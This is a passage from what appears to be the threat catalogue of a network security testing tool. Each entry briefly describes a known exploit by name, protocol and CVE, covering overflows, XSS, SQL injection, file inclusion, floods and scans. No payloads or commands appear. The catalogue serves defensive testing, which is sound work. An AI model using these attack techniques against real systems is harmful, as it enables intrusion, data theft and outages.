Detailed Description:	Two directory traversal vulnerabilities exist in HP LoadRunner Virtual User Generator. The vulnerabilities exist in the EmulationAdmin web service. The vulnerabilities are due to insufficient validation on the parameters of copyFileToServer and getFileContentAsLines methods. A remote unauthenticated attacker can exploit these vulnerabilities to create arbitrary files on the server or disclose sensitive information by reading arbitrary files on the server. Successful exploitation of one of these vulnerabilities could lead to arbitrary code execution on the target system.
Protocol Type:	SOAP/HTTP
CVEID:	CVE-2013-4837
OSVDB:	99231
Threat File Name:	rsa_webagent_IPv6.xml
Executive Description:	RSA WebAgent Heap Overflow (IPv6 Version)
Detailed Description:	This threat causes a heap overflow in the RSA SecurID Web Agent. This leads to potential remote code execution with the privileges of the webserver. Webservers typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1471
OSVDB:	20151
Threat Package:	Standard
Threat File Name:	awstatsXSS.xml
Executive Description:	AWStats Referer XSS
Detailed Description:	This threat sends a crafted HTTP Request with the referrer field containing a double quote ". This double quote is escaped in C fashion when displayed on page, allowing an event handle to be created inside of the hyperlink. This threat will specifically attempt to forward cookie information to example.com.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	linkbank.xml

Executive Description:	Link Bank iframe.php XSS
Detailed Description:	This threat sends a specially crafted HTTP request that triggers a cross-site scripting condition in Link Bank. This can allow an attacker to steal session and cookie information. Link Bank is a web application and is accessed via a web server, which typically listens on TCP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20150302-04_SAP_SQL_Anywhere_NET_Malformed_Integer_Buffer_Overflow.xml
Executive Description:	SAP SQL Anywhere .NET Malformed Integer Buffer Overflow.
Detailed Description:	A buffer overflow vulnerability exists in SAP SQL Anywhere .NET Data Provider. The vulnerability is caused by insufficient boundary checks in the handling of malformed integers. If an application allows untrusted input to be used as an integer constant in an SQL query, by sending crafted requests to the application, an attacker can overflow a stack-based buffer. This could possibly lead to arbitrary code execution in the context of the application.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-9264
OSVDB:	115627
Threat File Name:	powerpointviewer_ocx_dos.xml
Executive Description:	PowerPoint Viewer OCX 3.2 (ActiveX Control) Denial of Service Exploit
Detailed Description:	This threat executes a denial of service against the powerpoint viewer OCX by setting the OpenWebFile argument to an excessively long value. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	selectapix_sqli.xml
Executive Description:	SelectaPix SQL Injection
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. SelectaPix is a web application that typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-2912
Threat Package:	Standard
Threat File Name:	TSL20121217-02_RealNetworks_RealPlayer_URL_Parsing_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	RealNetworks RealPlayer URL Parsing Stack Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in RealNetworks RealPlayer. The vulnerability is due to insufficient sanitation of the URLs while parsing RealMedia files. An attacker can exploit this vulnerability by enticing a user to open a specially crafted Microsoft .url file, possibly embedded in a web page, that has an extension associated with RealPlayer such as .ram or .ra, with the affected application. Successful exploitation can result in arbitrary code execution in the context of the currently logged in user. Unsuccessful exploitation could result in the application terminating abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS
CVEID:	CVE-2012-5691
OSVDB:	88486
Threat File Name:	TSL20140815-05_Attachmate_Reflection_FTP_Client_ActiveX_GetGlobalSettings_Memory_Corruption.xml
Executive Description:	Attachmate Reflection FTP Client ActiveX GetGlobalSettings Memory Corruption
Detailed Description:	A memory corruption vulnerability has been found in Attachmate Reflection FTP Client. The vulnerability is due to an attempt to dereference user-controllable parameter input.A remote, unauthenticated attacker could exploit this vulnerability by enticing a user to visit a malicious page. Successful exploitation could lead to arbitrary code execution under the security context of the browser.
Protocol Type:	HTTP
CVEID:	CVE-2014-0603
OSVDB:	109761
Threat File Name:	gxine_bof.xml
Executive Description:	Gxine HTTP Plugin Remote Buffer Overflow
Detailed Description:	This threat proves a buffer overflow condition that exists in the HTTP-Plugin for Gxine. A malicious HTTP server can send a very large buffer to the gxine client and exploiting the HTTP-Plugin that handles the connection. Gxine is a multimedia application.
Protocol Type:	HTTP
CVEID:	CVE-2006-2802
Threat Package:	Standard
Threat File Name:	speedberg_rfi.xml
Executive Description:	Speedberg <= 1.2beta1 Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Speedberg is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5485
Threat Package:	Standard
Threat File Name:	portscanNull_IPv6.xml
Executive Description:	Portscan: Null (IPv6 Version)
Detailed Description:	This threat mimics the behaviour of a Null port scan. A Null scan is packet without any bits set. A proper response should be a RST packet for closed ports, and no reply for open ports. This behaviour can change depending on operating systems and their implementation of the TCP/IP stack. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	ms07-004.xml
Executive Description:	MS07-004 Microsoft VML Parser Attack
Detailed Description:	This attack causes an integer overflow in the VML parser of Internet Explorer. It comes from the virtual server in the form of a malicious webpage.
Protocol Type:	HTTP

CVEID:	CVE-2007-0024
Threat Package:	Standard
Threat File Name:	TSL20140520-08_Cogent_DataHub_Web_Server_GetPermissions.asp_Command_Injection.xml
Executive Description:	Cogent DataHub Web Server GetPermissions.asp Command Injection
Detailed Description:	A remote command injection vulnerability has been reported in Cogent DataHub. The vulnerability is due to insufficient validation within the GetPermissions.asp page. A remote attacker can exploit this vulnerability by submitting a maliciously crafted request to GetPermissions.asp. This can result in arbitrary command execution on the vulnerable system.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-3789
OSVDB:	107097
Threat File Name:	efiction_sqli_IPv6.xml
Executive Description:	eFiction authors.php SQL Injection (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query that is executed by the server. eFiction is an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4169
OSVDB:	21120
Threat File Name:	TSL20120405-04_Netop_Remote_Control_dws_File_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Netop Remote Control dws File Stack Buffer Overflow(IPV6 Version)
Detailed Description:	A stack buffer overflow has been identified in Netop Remote Control. The vulnerability is due to insufficient bounds checking when handling a command string while reading .dws files. A remote unauthenticated attacker could exploit this vulnerability by enticing a user to open a crafted Netop Remote Control script file containing a malicious command string. Successful exploitation of this vulnerability would allow arbitrary code execution in the security context of the affected application.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-none
OSVDB:	72291
Threat File Name:	FSC20100209-07_Microsoft_Office_PowerPoint_OEPlaceholderAtom_Memory_Corruption.xml
Executive Description:	Microsoft Office PowerPoint OEPlaceholderAtom Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Office PowerPoint. The vulnerability is due to a use-after-free error when PowerPoint reads a malicious OEPlaceholderAtom in a specially crafted PowerPoint file. Remote attackers could exploit this vulnerability by persuading a target user to open a specially crafted PowerPoint file with one of the affected applications. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user, or terminate the application resulting in a Denial of Service condition.
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-0032
Threat Package:	Standard
Threat File Name:	FSC20090414-11_Microsoft_Office_Excel_Crafted_SST_Record_Code_Execution.xml
Executive Description:	Microsoft Office Excel Crafted SST Record Code Execution
Detailed Description:	A memory corruption vulnerability exists in Microsoft Excel products. The vulnerability is due to improper parsing of an Excel file that includes a malformed object. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0238
Threat Package:	Standard
Threat File Name:	TSL20150512-33_Microsoft_Windows_VBScript_Regular_Expression_Information_Disclosure.xml
Executive Description:	Microsoft Windows VBScript Regular Expression Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in the Microsoft's VBScript engine. The vulnerability is due an error while processing regular expressions which allows a user to disclose memory contents of the current process. By enticing a user to open a web page, an attacker could exploit this vulnerability to bypass the ASLR security feature which can be used to facilitate further attacks.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-1684
Threat File Name:	TSL20170111-11_Adobe_Reader_and_Acrobat_XSLT_function-available_Buffer_Overflow.xml
Executive Description:	Adobe Reader and Acrobat XSLT function-available Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been reported in the XSLT component of Adobe Reader and Adobe Acrobat. The vulnerability is due to improper validation of the parameter for XSLT function-available function call. A remote attacker could exploit the vulnerability by enticing a target user to open a maliciously crafted document or web page. Successful exploitation could result in code execution under the context of the target user.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP
CVEID:	CVE-2017-2949
Threat File Name:	FSC20110308-02_Microsoft_Windows_Media_DVR-MS_File_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Media DVR-MS File Code Execution(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Windows Media Player and Windows Media Center. The vulnerability is due to a pointer dereference error while parsing specially crafted DVR-MS files. This vulnerability can be leveraged to inject and execute arbitrary code. Remote attackers can exploit this vulnerability by enticing target users to open a specially crafted DVR-MS file. Successful exploitation would lead to code execution in the context of the current user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0042
Threat File Name:	TSL20170202-11_WordPress_REST_API_Posts_Controller_Privilege_Escalation_IPv6.xml

Executive Description:	WordPress REST API Posts Controller Privilege Escalation (IPv6 Version)
Detailed Description:	A privilege escalation vulnerability exists in WordPress. The vulnerability is due to improper handling of post id's within the REST API posts controller. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted request to a vulnerable WordPress website. Successful exploitation of this vulnerability could lead to arbitrary modification of WordPress post content.
Protocol Type:	HTTP, HTTPS, IPv6
Threat File Name:	TSL20170413-04_ISC_BIND_rndc_Control_Channel_Assertion_Failure_Denial_of_Service_IPv6.xml
Executive Description:	ISC BIND rndc Control Channel Assertion Failure Denial of Service (IPv6 Version)
Detailed Description:	A denial-of-service vulnerability has been reported in ISC BIND. The vulnerability is due to improper handling of a null command string sent to rndc control channel interface. A remote, authenticated attacker could exploit this vulnerability by sending a maliciously crafted packet to the rndc control channel interface of a target BIND server. Successful exploitation could lead to denial-of-service conditions.
Protocol Type:	BIND RNDc Protocol,IPv6
CVEID:	CVE-2017-3138
Threat File Name:	TSL20110428-04_Microsoft_Office_PowerPoint_ExtTimeNodeContainer_Record_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office PowerPoint ExtTimeNodeContainer Record Memory Corruption(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Office PowerPoint. The vulnerability is due to memory corruption while processing specially crafted PowerPoint files that contain a ExtTimeNodeContainer record. An attacker can exploit this vulnerability by enticing a user to open a specially crafted PowerPoint file. This can result in injection and execution of arbitrary code in the security context of the currently logged on user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0655
Threat File Name:	TSL20131217-06_RealNetworks_RealPlayer_RMP_File_Heap_Buffer_Overflow.xml
Executive Description:	RealNetworks RealPlayer RMP File Heap Buffer Overflow
Detailed Description:	A heap buffer overflow exists in RealNetworks RealPlayer. The vulnerability is due an error when handling RMP files, overly long values for certain tags can result in a heap buffer overflow. A remote unauthenticated attacker could exploit this vulnerability by enticing a user to open a crafted RMP file. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2013-6877
OSVDB:	101135
Threat File Name:	TSL20160718-06_Multiple_Products_HTTP_PROXY_Traffic_Redirection_IPv6.xml
Executive Description:	Multiple Products HTTP_PROXY Traffic Redirection (IPv6 version)
Detailed Description:	A traffic redirection vulnerability has been reported in the following products: PHP, Go, Apache HTTP Server, Apache Tomcat, HHVM, Lighttpd, Nginx and Python. This vulnerability allows attackers to set the HTTP_PROXY environment variable using the Proxy HTTP header. This vulnerability may be exploited by a remote attacker to redirect traffic through an attacker controlled proxy, potentially leading to a man-in-the-middle attack.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-5386
Threat File Name:	FSC20090113-24_Oracle_Secure_Backup_Administration_Server_login_php_Command_Injection.xml
Executive Description:	Oracle Secure Backup Administration Server login.php Command Injection
Detailed Description:	There exists a command injection vulnerability in Oracle Secure Backup. The vulnerability is due to lack of sanitation of user supplied parameters when processing HTTP requests sent to CGI program login.php. Remote unauthenticated attackers can exploit this vulnerability by sending a crafted HTTP request to the target host. Successful exploitation would allow for arbitrary command execution in the security context of the user running the web server of Oracle Secure Backup. The behaviour of the target is entirely dependent on the intended function of the injected command.
Protocol Type:	HTTP
CVEID:	CVE-2008-5449
Threat Package:	Standard
Threat File Name:	TSL20061205-14_Citrix_Presentation_Server_Client_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	Citrix Presentation Server Client ActiveX Control Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the ICA Client ActiveX control in Citrix Presentation Server Client. The flaw is due to improper handling of parameters in the SendChannelData function of the ActiveX control. By persuading the target user to visit a malicious web site, an attacker may possibly execute arbitrary code with privileges of the currently logged in user. If an attack attempt is unsuccessful in injecting and executing arbitrary code, the application using the vulnerable ICA Client ActiveX Control might terminate abnormally. If a code execution attempt is carried out successfully, the behaviour of the target host is dependent on the intention of the injected code. The injected code is executed within the security context of current user.
Protocol Type:	HTTP,HTTPS
Threat File Name:	TSL20150612-05_OpenSSL_X509_cmp_time_Denial_of_Service.xml
Executive Description:	OpenSSL X509_cmp_time Denial of Service
Detailed Description:	A denial-of-service vulnerability exists in OpenSSL. The vulnerability is due to an error in X509_cmp_time() that causes OpenSSL to read beyond the end of a buffer. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted certificate to a vulnerable OpenSSL client or server application. Successful exploitation will cause the application to terminate, resulting in a denial-of-service condition. Tester should set the variable \$destPort to 443 before test.
Protocol Type:	TLS/DTLS/HTTPS/SMTP/SMTPS/SIPS
CVEID:	CVE-2015-1789
Threat File Name:	osp_rfi.xml
Executive Description:	osp <= 1.2.1 (cfgPathToProjectAdmin) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. OSP is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2157

Threat Package:	Standard
-----------------	----------

Threat File Name:	FSC20070508-22_Microsoft_Internet_Explorer_Table_Column_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Table Column Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in the way Microsoft Internet Explorer handles changes in Table layouts. The vulnerability is a result of use of uninitialized array elements when processing table column objects inside HTML documents. An attacker can exploit this vulnerability for code execution by enticing a target user to open a malicious HTML document. Any code injected using this vulnerability would be executed in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0944
Threat Package:	Standard

Threat File Name:	FSC20040527-02_Multiple_Browsers_Telnet_URI_Handler_File_Manipulation_Vulnerability.xml
Executive Description:	Multiple Browsers Telnet URI Handler File Manipulation Vulnerability
Detailed Description:	There is a malformed URI vulnerability that affects various web-browsers. There is insufficient input validation for telnet URI (e.g., telnet://hostname). Namely, the affected products do not validate or filter "" characters at the beginning of host-names. Telnet software activated by the browsers treat these as command-line options. As such, a malicious attacker may be able to compromise the target machine. Specifically, it may be possible to create or truncate a file on the target system.
Protocol Type:	HTTP
CVEID:	CVE-2004-0411
Threat Package:	Standard

Threat File Name:	jetcast_srvr_dos.xml
Executive Description:	JetCast Server 2.0.0.4308 Remote Denial of Service Vulnerability
Detailed Description:	This threat uses a large string in a http client GET request to crash a vulnerable JetCast Server, thereby leading to a denial of service condition. JetCast Server is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-4911
Threat Package:	Standard

Threat File Name:	FSC20080909-08_Microsoft_Windows_Graphics_Rendering_Engine_BMP_File_Parsing_Integer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Graphics Rendering Engine BMP File Parsing Integer Overflow (IPv6 Version)
Detailed Description:	A vulnerability has been discovered in the Graphics Rendering Engine (GRE) component of Microsoft Windows. Specifically this vulnerability is exposed by the Microsoft Windows GDI+ subsystem. An attacker can exploit this vulnerability by enticing a user to open a malicious BMP file, resulting in either a denial of service, or in the injection and execution of arbitrary code with the privileges of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3015
Threat Package:	Standard

Threat File Name:	fuzz-HTTP_AppendformatsToTRACE_IPv6.xml
Executive Description:	Fuzz HTTP TRACE appended by %s (IPv6 Version)
Detailed Description:	Fuzzes the Method field appending with %s (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing

Threat File Name:	FSC20070508-20_Microsoft_Excel_Malformed_Filter_Records_Handling_Code_Execution.xml
Executive Description:	Microsoft Excel Malformed Filter Records Handling Code Execution
Detailed Description:	A memory corruption vulnerability exists in the way Microsoft Excel processes files. The vulnerability is a result of insufficient data validation while processing Excel AutoFilter records. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2007-1214
Threat Package:	Standard

Threat File Name:	lupper2_IPv6.xml
Executive Description:	Lupper Worm 2 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard

Threat File Name:	TSL20111011-17_Microsoft_Internet_Explorer_OLEAut32_dll_Uninitialized_Object_Access.xml
Executive Description:	Microsoft Internet Explorer OLEAut32.dll Uninitialized Object Access
Detailed Description:	A memory corruption vulnerability has been reported in Internet Explorer. Specifically, the vulnerability is due to the access of an object that has not been correctly initialized. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted web page in IE. Successful exploitation could result in execution of arbitrary code in the target user's security context. An unsuccessful exploitation attempt may result in the abnormal termination of the affected IE process.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1995

Threat File Name:	FSC20080129-16_Firebird_XDR_Operation_Request_Handling_Denial_of_Service_IPv6.xml
Executive Description:	Firebird XDR Operation Request Handling Denial of Service (IPv6 Version)
Detailed Description:	There exists a null-dereference overflow vulnerability in Firebird database project. The flaw resides in the External Data Representation (XDR) protocol processing routines. A remote unauthenticated attacker may exploit this vulnerability by sending crafted message to the target server. Successful attack could create a denial of service condition to the Firebird service. (IPv6 Version)
Protocol Type:	GDSDB/IPv6

CVEID:	CVE-2008-0387
Threat Package:	Standard
Threat File Name:	TSL20150609-23_Microsoft_Internet_Explorer_CVE_2015_1744_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-1744 Memory Corruption IPv6 version
Detailed Description:	A use after free vulnerability exists in Microsoft Internet Explorer. This vulnerability is due to an issue while handling first-letter element styling when processing HTML and script code. A remote unauthenticated attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS.IPv6
CVEID:	CVE-2015-1744
Threat File Name:	msie7_dos.xml
Executive Description:	Microsoft Internet Explorer 7 Denial of Service Vulnerability
Detailed Description:	This threat uses a malicious HTTP server reply to cause a denial-of-service condition in a MSIE 7 beta client . Microsoft Internet Explorer 7 is a web browser that typically connects to a web server listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	linksys_blank_get_IPv6.xml
Executive Description:	Linksys WRT54G Blank HTTP GET (IPv6 Version)
Detailed Description:	This threat sends a blank HTTP GET request, causing some Linksys routers to freeze and require a hard reboot in order to return to functioning order. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	wingate_IPv6.xml
Executive Description:	WinGate Denial Of Service (IPv6 Version)
Detailed Description:	This threat sends 2000 random characters at the WinGate Winsock Redirector Service. Causes the service to crash. The WinGate Redirector service typically listens on port 2080. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-1999-0441
OSVDB:	1021
Threat Package:	Standard
Threat File Name:	guestbook_xss_b.xml
Executive Description:	Toms Guestebuch 1.00
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. Toms Guestebuch is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	dproxy_bof_IPv6.xml
Executive Description:	DProxy DNS Decode Reverse Name Buffer-Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious DNS packet to cause a stack overflow in DProxy, possibly resulting in the execution of arbitrary code. DProxy is DNS server that typically listens on udp port 53. (IPv6 Version)
Protocol Type:	DNS/IPv6
CVEID:	CVE-2007-1866
Threat Package:	Standard
Threat File Name:	boite_de_news_rfi.xml
Executive Description:	Boite de News Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Boite de News is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	sophos_rar_dos.xml
Executive Description:	Sophos Antivirus RAR File Denial of Service Vulnerability
Detailed Description:	This threat leverages a flaw in Sophos Antivirus's handling of a specially crafted RAR file resulting a denial-of-service condition. Sophos Antivirus is a client application. This attack uses a web server listening on port 80 for payload delivery.
Protocol Type:	HTTP
CVEID:	CVE-2006-5645
Threat Package:	Standard
Threat File Name:	rsa_webagent.xml
Executive Description:	RSA WebAgent Heap Overflow
Detailed Description:	This threat causes a heap overflow in the RSA SecurID Web Agent. This leads to potential remote code execution with the privileges of the webserver. Webserver typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-1471
OSVDB:	20151
Threat Package:	Standard
Threat File Name:	XSS_Server_Injection_IPv6.xml
Executive Description:	XSS HTTP Server Header Reply (IPv6 Version)
Detailed Description:	This attack represents a malicious reply from a webserver, by inserting Javascript elements into the Server header of the HTTP reply. This will make some web crawlers log Dynamic HTML into their HTML reports, which will then be executed with local privileges. This threat typically would come from webserver listening on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2860
OSVDB:	17886
Threat Package:	Standard

Threat File Name:	osprey_rfi.xml
Executive Description:	Osprey GetRecord.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Osprey is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20101029-08_Adobe_Shockwave_Player_Lnam_Chunk_Processing_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Shockwave Player Lnam Chunk Processing Buffer Overflow (IPV6 VERSION)
Detailed Description:	A code execution vulnerability exists in Adobe Shockwave Player. The vulnerability is due to a stack buffer overflow when processing maliciously crafted DIR files containing Lnam Chunks. A remote attacker can exploit this vulnerability by enticing a target user to visit a maliciously crafted web site. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged on user. An unsuccessful exploit attempt may terminate the affected application abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-3655
Threat File Name:	storystream_rfi_IPv6.xml
Executive Description:	StoryStream 4.0 (baseDir) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. StoryStream is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090414-05_Microsoft_DirectShow_MJPEG_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft DirectShow MJPEG Parsing Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft DirectShow. The vulnerability is due to the way Microsoft DirectShow handles supported format files. A remote attacker could exploit this vulnerability by persuading a user to open a specially crafted MJPEG file, potentially causing arbitrary code to be injected and executed in the security context of the logged in user. In an attack case where code injection is not successful, the application utilizing the vulnerable DirectX library will terminate. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0084
Threat Package:	Standard
Threat File Name:	FSC20060613-22_Microsoft_Exchange_Server_Outlook_Web_Access_Script_Injection_IPv6.xml
Executive Description:	Microsoft Exchange Server Outlook Web Access Script Injection (IPv6 Version)
Detailed Description:	A script injection vulnerability exists in Microsoft Exchange Servers running Outlook Web Access. The vulnerability is caused by improper sanitization of e-mail messages which contain script code when they are read through Outlook Web Access. A malicious user may exploit this flaw to inject and execute HTML and script code in the security context of the target user's browser session. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2006-1193
Threat Package:	Standard
Threat File Name:	InternetExplorerHistoryXSS.xml
Executive Description:	Internet Explorer History XSS Attack
Detailed Description:	This threat causes a XSS event to occur in the history bar of Internet Explorer. This allows a user to inject arbitrary commands and steal sensitive user data. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2004-2219
OSVDB:	8978
Threat Package:	Standard
Threat File Name:	TSL20140211-21_Microsoft_Internet_Explorer_CVE-2014-0283_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-0283 Use After Free
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0283
OSVDB:	103181
Threat File Name:	sunkill_IPv6.xml
Executive Description:	SunKill Telnet Daemon Denial of Service (IPv6 Version)
Detailed Description:	This attack causes the Sun Microsystems telnet daemon to consume a large amount of resources and cause a denial of service on the target host. Telnet typically listens on port 23. (IPv6 Version)
Protocol Type:	Telnet/IPv6
CVEID:	CVE-1999-0273
OSVDB:	8729
Threat Package:	Standard
Threat File Name:	Irayoblog_rfi_IPv6.xml
Executive Description:	IrayoBlog 0.2.4 (inc/irayofuncs.php) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. IrayoBlog is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5849
Threat Package:	Standard
Threat File Name:	TSL20121212-06_Microsoft_Internet_Explorer_Mouse_Movement_Information_Disclosure_IPv6.xml

Executive Description:	Microsoft Internet Explorer Mouse Movement Information Disclosure(IPV6 Version)
Detailed Description:	Microsoft Internet Explorer is vulnerable to an information disclosure vulnerability. The vulnerability allows a web page to track mouse movements using script code, even if the page is not active or in focus. This can also track the state of Ctrl, Shift and Alt keys. A remote attacker can exploit this vulnerability by enticing a user to visit a crafted web page. Successful exploitation would result in the disclosure of mouse movements. This may have particular consequences when using virtual keyboards or graphical authentication methods.
Protocol Type:	IPV6,HTTP,HTTPS
OSVDB:	88357
Threat File Name:	cwrflood_IPv6.xml
Executive Description:	TCP CWR Flood (IPv6 Version)
Detailed Description:	This threat floods a user specified target with TCP packets from randomized, spoofed addresses, where the CWR (Congestion Window Reduced) flag has been turned on. This attack is an attempt to flood the target with erroneous packets in order to hinder performance and cause a slowed response to legitimate traffic and possibly a DoS. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090720-05_RealNetworks_Helix_Server_RTSP_SETUP_Request_Denial_of_Service.xml
Executive Description:	RealNetworks Helix Server RTSP SETUP Request Denial of Service
Detailed Description:	A denial of service vulnerability exists in RealNetworks Helix Server. The vulnerability is due to an error in the way RealNetworks Helix Server handles SETUP requests. Remote unauthenticated attackers can exploit this flaw by sending a crafted SETUP request to an affected server. As a result of processing the malicious command, a denial of service condition will be created on the target system.
Protocol Type:	RTSP
CVEID:	CVE-2009-2534
Threat Package:	Standard
Threat File Name:	efiction_xss_a_IPv6.xml
Executive Description:	eFiction XSS Vulnerabilities (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page. eFiction is an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4167
OSVDB:	21118
Threat File Name:	centericq_dos.xml
Executive Description:	CenterICQ Malformed Packet Handling Remote Denial of Service Vulnerability
Detailed Description:	This threat sends a malformed 1 byte tcp packet which causes an unhandled exception. CenterICQ uses any number of ports for file transfers, so any port specification works well.
Protocol Type:	Proprietary
CVEID:	CVE-2005-3694
OSVDB:	21270
Threat Package:	Standard
Threat File Name:	oracle_web_plsql_3_IPv6.xml
Executive Description:	Oracle PLSQL Bypass Attack Three (IPv6 Version)
